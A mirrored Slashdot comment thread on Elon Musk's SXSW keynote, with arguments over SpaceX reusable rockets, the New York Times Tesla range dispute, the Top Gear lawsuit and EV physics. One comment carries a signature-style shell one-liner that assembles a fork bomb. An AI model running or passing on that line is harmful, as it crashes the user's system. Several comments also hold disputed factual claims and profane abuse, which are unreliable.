Slashdot Mirror
SXSW: Elon Musk Talks Reusable Rockets, Tesla Controversy
Nerval's Lobster writes "Elon Musk, CEO of SpaceX and Tesla Motors, took the keynote stage at this year's SXSW to talk about everything from space exploration to electric cars. Joining him onstage to ask questions was Chris Anderson, the former Wired editor and co-founder of 3DRobotics. Musk used his keynote discussion to show off a video of a rocket test, which he said had taken place earlier that week. In the video, a ten-story rocket takes off from a launching pad and hovers several hundred feet in the air before landing in the same spot, upright. It's an early test of SpaceX's reusable-rocket project. 'Reusability is extremely important,' Musk told the audience. 'If you think it's important that humanity extends beyond Earth and becomes a multitenant species' then reusable rockets will prove essential. Musk also talked about the recent controversy involving his Tesla Motors, which started when a New York Times reporter claimed in a much-circulated column that his electric-powered Model S sedan had ground to a halt during a test drive up the East Coast. 'I have no problem with negative feedback,' he told Anderson, in response to the latter's question. 'There have been hundreds of negative articles, and yet I've only spoken out a few times. I don't have a problem with critical reviews, I have a problem with false reviews.'"
I think the biggest reason he gets so much flak is because no one can figure out how to make a quick buck off his businesses.
The fundamental claim that Musk put out -- that the reporter intentionally drained the battery, and that the towing was faked -- has been completely disproven. The reporter used the car in non-optimal user behavior, and the car failed. This is entirely legitimate reviewing, and Musk called him a liar. '
I see people discussing the video, but where is it? Here are a few screen shots of the rocket, it's not obvious that this rocket went up and down, however even if it does, I don't think it means that the rocket is reusable completely, but if it can get up and get back to Earth safely before it reaches certain height in case if something goes wrong with the launch, that's a big deal. However what can go wrong with a launch that would allow the rocket to be so well controlled and balanced that it's not tipping over and blowing up in the first place? Why bring down a rocket if it is in normal operation this way? Is it theoretically possible for a launch vehicle to make it all the way to orbit and back? Probably, but it's extremely inefficient! It's a circus trick, by the time the rocket is up in space, it has no fuel left, that's why multistage parts are jettisoned in the first place, the only valuable parts in them for the launch was the fuel and it gets burned up completely for the rocket to get to space.
Musk can achieve partial reusability, with the engines parachuting to earth and being reused, that already would be great, having a rocket that can go to space as a single stage and all the way back means it has to lift huge amount of fuel into space, not burn it all up and then use the remaining fuel to get back to earth in an inefficient manner (not just fall back but slowly descent on a column of fire) and that's crazy expensive and inefficient! If you can lift enough fuel into space to do that trick, you shouldn't be lifting fuel, you should be lifting useful cargo.
You can't handle the truth.
Ok, You sound very angry and I don't know why, but let's break down your points:
1. 550 miles over 2 days. If the NYT journalist had charged properly and as instructed, then it would have been 3 charges, but even with 4 charges, eating for 1-2 hours over a 2 day period isn't "not good" it's normal. If I stop at a charging point, plug in and go to a cafe for lunch, it's going to take 45mins to over and hour to complete lunch. I don't think Tesla were suggesting you eat solidly for 2 hours without a pause.
2. The temperature is irrelevant. The NYT journalist claimed he turn the heat down to extend range, the logs show he increased the temperature from 72F to 74F. The actual temperatures don't matter, it's the lie that matters.
3. Same with speed. The journalist claimed he had cruise control on at 55, logs show him travelling at 62-81MPH. Again, it's the lie that matters no the actual speeds.
4. It's well know batteries perform worse in low temperatures, if the journalist had used common sense and charged his battery sufficiently then there wouldn't have been an issue. Most cars, no matter the power source, get 10-20% less than the claimed economy figures. Is this right, no, but to single out one company seems to smack of double standards.
Admittedly I don't follow news columns that closely, but I'm not sure where he's ever appeared to want to be considered a god, and I have no idea what the Segway has to do with Elon Musk or the Tesla.
As head of a company, you have an obligation to your employees and shareholders to defend your brand. Lawsuits are a perfectly acceptable means to accomplish that.
Where can we watch the keynote?
CEO of SpaceX and Tesla Motors
Holy shit, I just realized it was the same guy although I know a little bit about both company!
Everything I write is lies, read between the lines.
You have some valid points but it's more a matter of changing your perceptions than a problem with the car. Your first point about charging 4 times to cover 550 miles is valid. However you'd only have to charge more than once while on your trip for a total of about 30 minutes if there was something strange going on. Maybe you ought to mention why you feel the need to charge 4 times? Why do you think 72F is too warm? You realize the cars are made to work in Southern California where he lives and where the temperatures routinely are over 100F. So what made you think 72F is too warm for the car? I share your driving speed preferences and perhaps like to drive a bit faster than you. The Tesla car gives amazing neck straining torqued out acceleration at any speed up to about 130mph. Because of it's low center of gravity due to the battery packs people end up looking for curves to take because it feels so good. So when you say 62 to 81mph is too fast I can only assume you left out a qualifier. Perhaps what you meant to say was too fast for optimal efficiency. Despite the Tesla being the best aerodynamic car on the market and second best in the history of cars you still must take into account how aerodynamic drag increasing exponentially as the speed goes up. Take a BMW out and drive it at 55 and then drive it at 155. You'll notice you get about 1/3rd the mileage or even less at 155. It's physics. As for needing to charge your car in a European winter every 50 to 100 miles. Sure. If you say parked it outside and only drove a mile to 3 miles per day you might have to charge it every 50 to 100 miles. The Tesla keeps the battery packs and such at a working temperature and this drains the batteries slowly. Unlike a gas vehicle. So this may make the car unacceptable in a few strange cases or to the luddites looking for reasons to avoid change. By the way the judge declared Top Gear manufactured the lies but threw out Tesla's lawsuit because it was unclear how much financial damage resulted in the outright lies. I don't know about you but I don't start out a long trip without feeling up my gas tank, especially when the gas light is on, like the NY Times author did. I think Tesla should have blasted the NY Times harder because there are still some nutters out there that apparently don't get what happened.
"I have no problem with negative feedback"
BULLSHIT! Who did you sue and recently lost to?
Did they lose the lawsuit because the journalist told the whole truth? Or is it because a journalist is allowed an opinion? (Think gossip magazines..)
Sure TopGear was sensationalist. But hey you installed blackboxes without telling ANYBODY and then when you show them, it shows how crappy your car is.
Or did the blackbox show that the story from the 'journalist' was not the real truth?
Here is what I posted to the Tesla website to his weblog many weeks ago. And guess what Tesla did not publish it..
Gee, it they didn't publish it, then it must automatically be the truth!
These were my issues:
* In the space of 550 miles one had to charge 4 times meaning that I would have "eat" for at least 1 to 2 hours. That is just not good!
Sure, if you do a incomplete charge!
(Gee, my phone is empty again. Maybe I should have loaded it longer than 10 minutes?)
* 72F is considered to warm? Really? I live in Zurich and have lived in Quebec. 72F is no way too warm, if anything too cold for a car.
Nice way to distract from the real issue:
If the journalist states that he lowered the temperature, but instead the black box tells the temperature increased.
* 62 to 81 is considered driving too fast? Really? I drive on average 140 KPH and have driven on the autobahn at 155 MPH. The "good" speed of a Tesla means that I would be driving quite a bit below the speed limit of a typical European highway.
Very funny: The German autobahn has no speed limit. So can state any ridiculous speed you want.
This speed does not make sense outside Germany . (Yes, Europe has many more countries than Germany)
And you have driven 155 MPH? That's 250 km/h! That's insane!
* Even with these "higher" values as per the reporter the battery underperformed by about 20%. That is not just a bit. Imagine for the moment I had driven this car in Europe during a winter. I would have to find a charger every 50 to 100 miles.For a car that costs 100K this is about the worst performance I have ever seen in a car.
I this it is still pretty good for a electric car. But maybe its not meant for the "you suck because I drive 155 MPH"-crowd.
What gets me with this nutter is that he invents does something once and wants to be considered a god. Remember who the two wheeled segway was supposed to revolutionize the world? Silicon Valley sometimes needs to do a reality check and stop living in their own darn bubble.
Ok, personal attacks do not make your statement any more convincing. And what has the Segway to do with the Tesla?
The problem is that he did exactly as instructed. Perhaps a little too religiously, but he was given a lot of bad advice here.
He said he turned it to low. Which presumably means he set it to "Eco" as per Tesla's range extending guidelines.
This all seems pretty odd. One of them is lying or mistaken. Was Tesla's logging actually accurate? The comments about going to 81mph is misleading though since his speed leaped up that high a couple of times.
Most cars, if you fill them up and don't quite manage the range will mildly inconvenience you. A Tesla S running out means that you've a good chance of running out of juice before you get a chance to refuel.
you installed blackboxes without telling ANYBODY
It was not necessary to read any further than this to discover that you are either too ignorant to read, or trolling. The car is a black box. Of course it has logging. And you can bet your bunghole that whatever they had to sign to get their hot, lying hands on the car included a clause about being tracked. You are either an idiot or a liar, or both.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Take a BMW out and drive it at 55 and then drive it at 155. You'll notice you get about 1/3rd the mileage or even less at 155. It's physics.
Almost all BMWs are top speed limited to less than 150 mph. It's policy.
By the way the judge declared Top Gear manufactured the lies
Do you have a reference? I can't find this by Googling, which is why I ask.
Almost all BMWs are top speed limited to less than 150 mph. It's policy.
You are going to quibble over 5 mph, when the limiter can be defeated by anyone with money? We call that prevarication.
By the way the judge declared Top Gear manufactured the lies
Do you have a reference? I can't find this by Googling, which is why I ask.
It is nigh-impossible to find a reference because the google results are packed with copies of the same story reprinted by various news outlets with no reason to exist. It's too bad Google won't let you block an arbitrary number of websites from your search results permanently, because it is rapidly becoming useless for actually finding any targeted information on anything which has ever been major news. But the judge ruled that no one would take Top Gear seriously, that factoid shows up in multiple articles. That's because they're known to be full of shit. It's an entertainment program, not education.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Interesting AC is harking back to NYT article whilst replying to a poster reportedly from Zürich, if you don't know your geography do a Google map lookup for Switzerland. There are a fuck load of Tesla fanboys/workworkers are posting as AC. I regularly drive from SJ to Phoenix, 700 miles in 11 hours in my BMW, how long would it take to do it in the Tesla?
You can tell by how hard it is to drag people to the money.
Anyone who drives a BMW is a fucking cunt whose words are meaningless. Fuck off, you damned Nazi cunt.
I attempted to watch the stream of it live yesterday, but it didn't work out so hot. I would have expected SXSW to have figured out how to stream a video, or at least the audio portion for people who have crappy internet connections.
Add up to two hours, most likely less. At an average speed of 64 mph the range should be about 275 miles. Two 45 mins charges at a Supercharger should add enough range, provided there are Superchargers available. Three charges of 30 mins would be better though as the charging power falls with higher charge levels. Add an extra 30 mins somewhere if you want higher margins. You could (and should!) spend some of this time eating anyway which you do while the car charges. Charging is not like filling up a gas car. It has to be done more often and it takes more time, but you can leave the vehicle and do other things while it charges. You will not have to spend two hours watching the car. Best example here is overnight charging at home which is quite slow, but most people need sleep anyway so it is irrelevant.
Whether this is acceptable or not is up to you to decide. If "regularly" means "a lot" or even "primary use of the car" it may not be. And if there are no Superchargers along the way, that trip would require at least two days, possibly more, depending on what outlets you can use.
http://www.nytimes.com/2013/02/10/automobiles/stalled-on-the-ev-highway.html?pagewanted=all&_r=0
You should read the actual NYT review and not Musks disingenous claims. The truck driver has confirmed the brakes were locks and charging from his charge would not free them. Musk's claims stem from his logs, and a rather fluffy misinterpretation of them.
"The temperature is irrelevant. The NYT journalist claimed he turn the heat down to extend range, the logs show he increased the temperature from 72F to 74F. The actual temperatures don't matter, it's the lie that matters."
And yet Musks own data shows him dropping it sharply at that time, so the NYT journalists DID drop the temp at approximately the time he said he did. Musks argument is to move the arrow a little to the left and say "this is the exact time he said he lowered the temperature", and look he's raising it, but the graph shows a sharp drop shortly after. Nitpicking.
So the lie is important, the Musk lie, the graph clearly shows the cabin temperature dropping shortly after Musk chose to decide was the exact time the journalist referred to (based on Musks wilful misinterpretation of time).
Musks says he averages 60mph when he said cruise was set to 54. And of course he did. Because he's driving it, like a car! So what! Nitpicking! The rest of the traffic does 75-80 and Musk knows this. He's lucky he wasn't rear-ended at 60!
" It's well know batteries perform worse in low temperatures"
News to me, news to him, news to his readers.
"charged his battery sufficiently then there wouldn't have been an issue"
And there was the lie, the PR man from Telsa told him it would recover charge, if he hadn't lied to the journalist then he would have charged it at Norwich and it would have been enough.
Musks other complains are that he drove for 0.6 of a mile around a car park. And? So what? He quotes the cars rated range, but we know that number is misleading.
Really, they should invest in finding a battery alternative, Musks BS doesn't help Telsa at all.
You aren't in the target market for an electric car without a generator. Using their figures, it would take about 14 hours. To drive that far in a Tesla.
Then again, it would take me 14 hours to do that trip anyway in a gas car because me and driving endurance style don't mix, I need to get out and stretch every 2 hours, and eat every 4. I also don't like to phone and drive at the same time so those rests are also used to check messages and such.
In short your commute profile is nuts and would be better helped with a diesel Audi, a volt, or maybe just fly at that point because it will be cheaper, and not wear down the car as fast
I don't know about you but I don't start out a long trip without feeling up my gas tank,
Pervert.
I think you read me wrong. I did not say that almost all BMWs are top speed limited to 150 mph, but less than 150 mph. In most cases far less.
(Disclaimer: I own a BMW with a raised top speed limiter.)
when the limiter can be defeated by anyone with money
Yes, with enough money, pretty much everything is possible.
But most BMWs on the road can't go faster than 125-135 mph without modifications, which makes it a bad example.
Zurich is where those Gnomes are, part of the Illuminati or something, who are hellbent on stopping electric cars at all costs.
Get a fuckin' clue, n00b! >:-(
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
I'm guessing he meant "filling up" the gas tank, but there are a lot of weirdos out there so who knows.
If you have a 2nd car:
+ upkeep: depends on how much you do, what shape it is in. easily over $100 per year average
+ having to use it often so it doesn't stagnate: an inconvenience
+ additional insurance costs: minimal insurance about $500 per year, more if you cover the car's value
+ storage space: an inconvenience
+ initial cost of a 2nd car: $500-15,000
+ additional theft or vandalism risk
+ sell it before its a lemon: an inconvenience or an art form...
Since this would be a long-range car, one has to factor in just how cheap you want to go with it - since a junker may not be what you want to take on a 500 mile journey. An electric might take time to recharge and beg for an outlet - but a gas car has a much higher failure rate - a mechanic might fix it quick (for a high fee) or you might be down for more than 8 hours.
For many people, it is cheaper to RENT a car than pay the insurance for a largely idle possession. If I average the total cost of ownership I am paying approximately $3000 per year to own a car. I get bye cheaper than most people. I won't have an exact average until I change cars, but I spreadsheet everything. Removing gas will save over $1000 per year. The savings from a switch to electric will cover the rentals. Its the initial electric car price that is the current problem.
Rental and shared ownership will become easier and cheaper.
Democracy Now! - uncensored, anti-establishment news
Almost all BMWs are top speed limited to less than 150 mph. It's policy.
Not really true. 130 mph limit for cars that come with all season tires from the factory, 155 mph limit for cars that come with summer performance tires from the factory. And from what I can tell the higher performance models come with the 155 limit only.
It actually would have been 2 chargers. He only charged to 70% at the second supercharger, if he had of charged to 100% that would have been more then enough. CNN, MSBC, and the Tesla Roadtrip crew all did it in only 2 chargers, and some of the Tesla roadtrip people DID stay overnight and did not plug in. None of the others ran out of fuel.
If warming the cabin to 72 is too much of a drain on the batteries, I'm quite interested in what the performance would be while running A/C.
protip: cooling is more energy-intensive than heating.
I've started trips with my fuel gauge on E -- it was broken, but I knew how much gas was in the tank. The NYT article stated that Tesla's people told the author that the charge would recover, that it was displaying an incorrect charge level due to the cold. They were, obviously, wrong.
I'm sure there's records of that call but I've not seen them offered up. Wonder why?
... still waiting for this free-as-in-beer free beer I keep hearing about.
It's the New York Times, I find it hard to believe anyone thinks the article is accurate considering the source. The only thing in the Times worthwhile is the crossword puzzle.
That's not quite true
http://green.autoblog.com/2013/03/10/uk-appeals-court-dismissed-teslas-bbc-top-gear-lawsuit/
Tesla Motors' efforts to clear allegations of reduced range on its electric cars just took another hit. A British appeals court dismissed a libel lawsuit filed by Tesla against the BBC's Top Gear show. The court rejected Tesla's appeal of a court decision last year that struck out its "libel and malicious falsehood" case against BBC. Tesla had asserted that the popular British automotive TV show had faked a scene that appeared to show a Tesla Roadster running out of power, which the Palo Alto, CA-based automaker said caused sales to drop.
Top Gear road tested two Roadsters in 2008 around a track - much more like racing conditions that typical day-to-day driving. Drivers tested the electric sports cars for acceleration, straight-line speed, cornering and handling. Top Gear claimed the car ran out of power after 55 miles - much lower than the automaker's estimated range of 200 miles. The TV show's review wouldn't have misled "a reasonable viewer" into thinking that the Roadster's range was less than the company's estimate under normal driving conditions, said Martin Moore-Bick, an appeals court judge in London, in his decision.
Tesla claimed it had lost $171,000 in lost sales as a result of the show's review of the car, and were well below the level of sales in the United States and European Union. Tesla's lawyers argued that the comments were defamatory because it had "intentionally or recklessly grossly misled potential purchasers." Judge Moore-Bick disagreed, saying the comments did not libel Tesla. Viewers would recognize that Top Gear's high-speed track testing was quite different than a normal driving style, he said.
Inaccurate media coverage can cost Tesla Motors much more than $171,000, according to CEO Elon Musk. He said that the "fake" report by New York Times writer John Broder on reduced range during his Model S road trip may have wiped out as much as $100 million in stock value for Tesla Motors. Musk asserts that the article resulted in several cancelled orders, probably costing Tesla "a few hundred" Model S purchases.
Mr Moore-Buck chucked out Tesla's libel lawsuit because "Viewers would recognize that Top Gear's high-speed track testing was quite different than a normal driving style, he said"
The problem with this is that it's a horrible piece of PR on the part of Tesla. Firstly Top Gear are petrol heads and very sceptical of electric cars and it was dumb to give them a car to review. Having done that it was even dumber to sue them for libel for making a negative review. All Tesla have ensured is that journalists will simply not review their cars in future. Plus of course they lost - if the object of a libel suit is to make it clear that the criticism was false they failed.
If you're making something new and different it is probably better to get reviews - even slightly negative ones - than have people ignore you. You can see this with Windows Phone. Windows Phone is really different from Android and iOS, even philosophically because it is much less based on installing applications and much more based on using the device out of the box.
Now Microsoft have screwed up the marketing big time but one thing they did do right was to hand our review phones to people who were previously presumed to be confirmed Apple users and then let them publish reviews that were at best mixed. Sure you can have a marketing person explain all the cool features and they'll end up in the review but you probably need to let them mention the negatives too. If you stopped that it wouldn't have been convincing.
Tesla are selling a funny product compared to most cars - the acceleration is stellar by all accounts and it would have been easy to get a petrol head to cover that in a positive way. They're always going to whine about
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
All true but I don't know why rebuttals have to be so complicated:
Broder didn't charge the car to full, charged it less at each charging opportunity, and didn't bother plugging in overnight, cold night or not. Then he hit the road when the car told him he would not make it.
No one that owns a smartphone can say what he did wasn't moronic or malicious.
"I don't know that atheists should be considered citizens, nor should they be considered patriots." George HW Bush
A Supercharge will realistically give you approx 150-200 miles of range. If you're driving at 50 mph, that's a 30-45 min pit stop every 3-4 hours, less if you're driving faster. I do not eat every 3-4 hours. Also, my lunches are typically 15-20 minutes. A dinner at a restaurant will be 45 min to 1.5 hours. But not lunch.
If you look at the beginning of the speed and charge logs, there's a little slop there. It looks like the logs start with when the car left Tesla's showroom. The author then drove it home and charged it overnight. The day of the trip it looks like he drove it around town for 15-20 miles. Then the highway speeds start. If you assume the start of the trip is when the highway speeds begin, then the miles into the trip where the temperature is decreased matches exactly with the author's claims. Musk's claim that the author raised the temperature only fit the logs if you assume the trip began at the beginning of the logs.
It's exceedingly rare to find a car review by a major publication done on public roads where the author admits to driving above the speed limit.
No it's not well known. And (barring the development of technology which can charge a battery in a few minutes) if EVs ever hope to become accepted by the general population, the public won't ever have to know this. The computer will have to measure the ambient temperature, location, weather reports, and do its best to accurately report how many miles in range it can realistically deliver.
The initial charges at the Supercharge stations were exactly how you'd want to charge an EV if you want to maximize distance traveled while minimizing time spent charging and risk of damaging the battery. It's the disputed third charge (which was not a Supercharge) that is key, and it's a he-said/she-said. The author claims Tesla staff told him to undercharge because as the battery warmed up it would recover some of the reported range it lost while parked overnight. Musk claims his staff told him no such thing.
how aerodynamic drag increasing exponentially as the speed goes up....It's physics.
Um, if you want to reference physics on slashdot, drag is a force which increases quadratically as speed increases.
I don't know about you but I don't start out a long trip without feeling up my gas tank, especially when the gas light is on, like the NY Times author did. I think Tesla should have blasted the NY Times harder because there are still some nutters out there that apparently don't get what happened.
New York Times should have removed the article, and Tesla/Musk probably should've sued them.
While the car may have the capability, musk said this was turned on and radioed real time because it was a test drive. Most cars record powertrain and braking data, though maybe not your air conditioner temperature, and it just rolls off the end if you don't have an accident. The only difference here is it is radioed back because its a test drive.
The Tucker fell apart at it's unvieling, breaking to control arms under it's own weight. It was louder than any other car of the time, and had no reverse gear. Did "the man" force him to try to sell a terrible design, or is it possible that he simply wasn't up to the task?
cooling is more energy-intensive than heating.
I'n an internal combustion vehicle, heating is essentially free but in an EV every watt comes from the batteries, whether it is for heating or for cooling. I see no reason for heating to be less energy intensive than cooling.
Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
My dealership removed the speed limiter when they installed the Dinan software package.
I see no reason for heating to be less energy intensive than cooling.
I can. An electric heater can be nearly 100% efficient. An air conditioner isn't going to be anywhere near that.
If you're going to be a physics pedant, at least get it right.
Drag is approximated by a Taylor series truncated at n=2 for low velocities. In reality, drag is more complicated than that.
>* 72F is considered to warm? Really? I live in Zurich and have lived in Quebec. 72F is no way too warm, if anything too cold for a car.
72F is normal for the interior of a car. I have lived in Ontario, and this is the temperature (21 C) that most people will set their car to once they realize that turning the knob to Hi just melted their faces off after an hour of driving. I guess Quebecers are just cold blooded, explains the blue flag.
>* 62 to 81 is considered driving too fast? Really?
So you lied about being in Quebec. If you had actually lived there, you'd know that in North America that fastest roads are between 55 mph and 65 mph in the US (excepting Texas and Montana). Well, either that or someone from the US lied to you that the roads are faster there. They simply requested he not exceed the speed limit. And not particularly excessive request, although I do admit the average person exceeds it by ~10% in the US (in Canada about 20% on the 400 series highways).
> I drive on average 140 KPH and have driven on the autobahn at 155 MPH.
Very few vehicles (by numbers sold) in North America will drive at 155 MPH. Heck, I drive a police car, it is governed to 141 mph to keep the driveshaft from exploding (and that's only for the exact right MY and gearing, most of them are governed at 130 mph). Having watched the same car (specially imported) drive on the authobahn at high speed passing EVERYTHING for an hour, I have a feeling you must have been the very fastest vehicle on that road that day. I'm certain that there's several sports cars in the US that will reach 250 km/h, but they aren't the cars people here commonly buy.
There is also only one road in all of North America where you may drive at 140 km/h (in Texas) so for someone to be able to say that here and not be arrested, they'd have a very boring commute.
> Imagine for the moment I had driven this car in Europe during a winter
You didn't and the test wasn't performed there. Imagine for a moment you tried driving your Euro-diesel car in Alert, NU. Today you would have had to have warmed the engine with a couple thousand watts of electricity for a couple of hours. You'd also have to put a fuel-safe warmer in the diesel so you can melt the wax. What a pain in the ass! All diesel vehicles suck ass because they don't work well up there. BURN THEM ALL!
>I would have to find a charger every 50 to 100 mile
Cars with forklift motors and SLA batteries typically have a 50 mile range. You're on crack, and some strong stuff at that. I think there must be some sort of disease going around Europe making people go crazy.
Tesla didn't publish your stuff because you're an embarrassment to Quebec and Europe. They're trying to keep you from suing them for the harassment you're bound to receive for your ludicrous comments.
Not actually true. A heat pump can be more than 100% efficient.
You are quite right. It is more than 100 % efficient since it uses a heat pump. It takes less than 1kWh of energy from the battery to remove 1 kWh of heat from the car. Tesla uses a heat pump for heating too, so it's also more than 100 % efficient, by the way.
That was the prototype. Production cars had none of those problems. What "the man" did was get the SEC to pursue him with a pack of lies. Tucker was acquitted on every single charge without calling a single witness for the defense. He was acquitted based on the prosecution's testimony! One of the prosecution's witnesses stated that he was still driving one of the Tucker 48s and that it had over 30,000 miles on it and still handled smoothly at 90 miles per hour. The SEC charges were baseless and were brought simply to discredit Tucker and cause his company financial difficulty. Not the last time such tactics have been used to destroy competition. If you can't compete, litigate.
One of the things reported in the coverage is a statement made by a Tesla engineer. Something like "10% loss in range at low tempertures". One problem I have with this statement is that in a car with a 235 mile range (the expected range based on the defaulted original charge), a 10% loss is about 23 miles, range goes down to about 210 miles. One thing glossed over by Musk is that in order to get the 265 mile range, the driver must override the default charging parameters by selecting max-charge. The default charging parameters are set to charge the battery to about 90% of max capacity in order to extend the life of the battery pack.
Another problem I have is that 10% decrease in range sounds like a very rough estimate (based on it being a round number). Based on what I know about battery chemistry, as the temperture drops, the internal resistance increases and that as a result loss in battery capacity is greater at 30 degrees instead of 40 degress. I really doubt that Tesla has done enough testing at 20 degrees, 30 degrees etc to be able to accurately state the reduction in range. 10% is nothing more than a pat estimate. The other factor to consider is that more of the capactiy would be used to keep the driver warm as the temp drops.
Musk comments are the same as tech support telling anyone "we have never had that issue; what do you do wrong." Blaming the customer for product shortcomings.
more then 100% efficient would make it a perpetual motion machine. No I don't think so.
Sigh. This was humor, even n00bier goof.
The input energy for the heat engine is less than the total amount of energy transported. In an example of a heat pump acting as a chiller, there is significant waste heat which must be dumped into a heat sink.Total energy transported is more than the input energy, but overall energy is conserved.
You need to read up on how heat pumps and air conditioners work. A plain heating element is 100% efficient in that all of the electrical energy used goes into generating heat. A heat pump is more efficient since most of the energy is used to pump heat from one location to another. A heat pump is basically an air conditioner run in reverse.
This post is encrypted twice with ROT-13. Documenting or attempting to crack this encryption is illegal.
I have two questions for EM
1) In regard to the car tested by the N Y Times, without independent 3rd parties, how do we know that the software and hardware on the car gave accurate log data ?
2) even if the log data are accurate, how do we know that you , or someone at tesla, didn't alter the log files ?
Or an hour and a half later, when AAA gets there. At which point you could be towed to a charging station instead, anyway, and then get a quick cjarge.
I don't think you have the same definition of "quick" that the rest of us have. It takes an hour to fully charge from drained and that is at a rapid charging station. Get it down to 5 minutes and then you can call it quick. Not to mention that you now have to have a tow truck and be towed to a charging station. I'm all in favour of electric cars but until they improve the recharge speed I can only imagine using them for a "runabout town" sort of car where the distance is not too far and they can recharge overnight.
Even then I will not be buying one until they are cheaper to run than an ICE - the "fuel" might be a lot cheaper but unfortunately this is more than compensated for by the huge cost of the batteries which have a limited life span. If you factor in the Tesla specified life of the battery the cost of fuel is roughly equivalent to a car which makes ~10 mpg - at least this was the case a couple of years ago when I looked into it.
As for newspapers the NYT is no better than the rest: they are generally more interested in making a story sound good to attract readers then they are in communicating the truth. Just look at the Leveson inquiry and related prosecutions in the UK.
AAAAGGHHHHH.
Under some circumstances, yes. Under others, no.
At worst, the efficiency of the heat pump as a heater will be 1. This happens when it's rather cold outside (a heat pump in a Tesla being used as a heater would need the outside air to warm the cooling side of the heat pump's loop, and as the temperature differential between the cool loop and the outside air decreases so does its efficiency until the outside air is as cool as the cool loop and your efficiency becomes 1, as the only energy moving into the system is that provided to the pump -- it's unable to extract any energy from the outside environment).
At best, the efficiency of a heat pump as a cooler will never be as high as its efficiency as a heater. You're adding energy to the system via the pump. When used as a heater, that energy is useful -- it's heat. As a cooler? That energy you've added to the system is now *WASTE*.
It is impossible for a cooling system to be as efficient as a heating system given equal circumstances, because THERMODYNAMICS!
... still waiting for this free-as-in-beer free beer I keep hearing about.
It's called thermodynamics. Work = heat. Are you heating? Work = heat = useful output. Are you cooling? Work = waste = diminished output.
Given similar circumstances, a heater will always be more efficient than a cooler. Because thermodynamics says so.
... still waiting for this free-as-in-beer free beer I keep hearing about.
Anybody else notice the stowaway ridding on the outside of the Grasshopper during the recent test flight. Looks like a Texan! This is a cropped blowup of a still from the video - http://s22.postimage.org/s82e5jpgx/Grasshopper_Stowaway.jpg . Yea Haw ride-em cowboy. Who says rocket scientists don't have a sense of humor.
He also bought an aircraft engine company and cancelled their existing contracts - choking his revenue stream. The company could have survived if he kept the revenue coming in. His engineering sense was good, but not his business sense.
It's too bad Google won't let you block an arbitrary number of websites from your search results permanently
Here ya go.
http://googleblog.blogspot.com/2011/02/new-chrome-extension-block-sites-from.html
See, the problem is that you're an idiot. It is just stupid to make comparisons like this, I see nobody suggesting you get rid of all your other vehicles and buy a Tesla. Road tripping in an EV is more to say you did it than actually doing a road trip. How often do you drive less than 300 miles a day? For me it is damn near everyday. If it is different for you then it means an EV isn't suitable for you, not that the design is flawed. This is like saying convertibles are stupid because where you live it rains constantly, or someone in Siberia saying motorcycles are stupid because it is too cold to ride. An EV fits a certain use case, outside of that use something else. The people that can actually afford these things love the hell out of them and use them every day, so clearly the car works just fine. All NYT proved is that if you're an idiot you should stick to ICE as it takes enough intelligence to know that your remaining range must be greater than the distance you wish to travel to operate an EV.
Elon Musk is a great legend ripe for the US Space Age of today but way ahead of his time. He has realized his dreams in exploiting the Internet through founding his Billion dollar company PayPal, in promoting sustainable energy production like through his company SOLAR CITY, his promotion of sustainable energy consumption like through his all electric car company TESLA and his vision to promote space travel through his company SPACEX and is making progress successfully by leaps and bounds.
Elon Musk made his first fortune selling PayPal to eBay in 2002. Now NASA is using his SpaceX to resupply the International Space Station while shares of his Tesla electric car company gained 10% last year. Next up: SolarCity, run by Musk's cousin Lyndon Rive, wants to put solar panels on your home (except not for my home in Garland Texas USA because my local Utility company does not provide the appropriate solar rebates!).
SpaceX CEO Elon Musk at the House Appropriations Texas Published Mar 8 '13 https://www.youtube.com/watch?v=qhVNOYz5ciw
Space Exploration gets private with SpaceX Dragon Published Mar 5 '13 https://www.youtube.com/watch?v=aCk8V3z8Cjo
SpaceX Hatch Opening of CRS-2 Dragon on ISS Published Mar 4 '13 https://www.youtube.com/watch?v=RlACnuHFPg0
SpaceX Elon Musk's view from Mission Control Published Feb 28 '13 https://www.youtube.com/watch?v=53gkLHvljxg
SpaceX CEO Elon Musk - Europe's rocket has no chance Published Nov 20 '12 https://www.youtube.com/watch?v=on6pzefo4t8
SpaceX boldly looks to blast millions of people Mars Published May 3 '12 https://www.youtube.com/watch?v=svzXxuQIKlc
SpaceX Next - Falcon Heavy Press Conference April 2011
http://www.youtube.com/watch?v=DtoADdSry6g&list=PL804F06E0DFC20878&index=4&feature=plpp_video
A Pioneer in Space and On Earth
http://www.cnn.com/2012/06/10/opinion/mccray-elon-musk/index.html CNN, June 11, 2012
SpaceX: Entrepreneur's race to space
http://www.cbsnews.com/8301-18560_162-57438584/spacex-entrepreneurs-race-to-space/ CBS 60 Minutes, June 3, 2012
The Colbert Report: Elon Muskhttp://www.colbertnation.com/the-colbert-report-videos/341483/july-28-2010/elon-musk The Colbert Report, July 28, 2010
Elon Musk Profiled: Bloomberg Risk Takers: Video - Bloomberg Uploaded Jan 2013http://www.youtube.com/watch?v=CTJt547--AM"Bloomberg Risk Takers" profiles Elon Musk, the entrepreneur who helped create PayPal, built America's first viable fully electric car company and started SpaceX ...
National Geographic: Megafactories TESLA Model S (English) Uploaded Jan 2013http://www.youtube.com/watch?NR=1&v=VUgDcA1pZAM&feature=endscreen
2013 TESLA Model S - The quickest Sedan Built in America http://www.youtube.com/watch?v=AOdsTuaJEfc&list=PL2CC76D636F09E03D
Elon Musk - Presentations
An Evening with Elon Musk and Alison van Diggelen Uploaded Feb 2013
http://www.youtube.com/watch?v=AHHwXUm3iIg
The future of Energy & Transport Uploaded Nov 2012
http://www.youtube.com/watch?feature=player_embedded&v=pKHyZxSCseE#!
Interview with Elon Musk Uploaded Sept. 2012 http://www.youtube.com/watch?v=g92rP1Mi_oQ
Fireside Chat with Elon Musk Uploaded July 2012 http://www.youtube.com/watch?v=uegOUmgKB4E
National Press Club Luncheon with Elon Musk Uploaded Sept. 2011 http://www.youtube.com/watch?v=xrVD3tcVWTY Chairman's Forum Uploaded April 2011 http://www.youtube.com/watch?v=0UNCdh05ck8
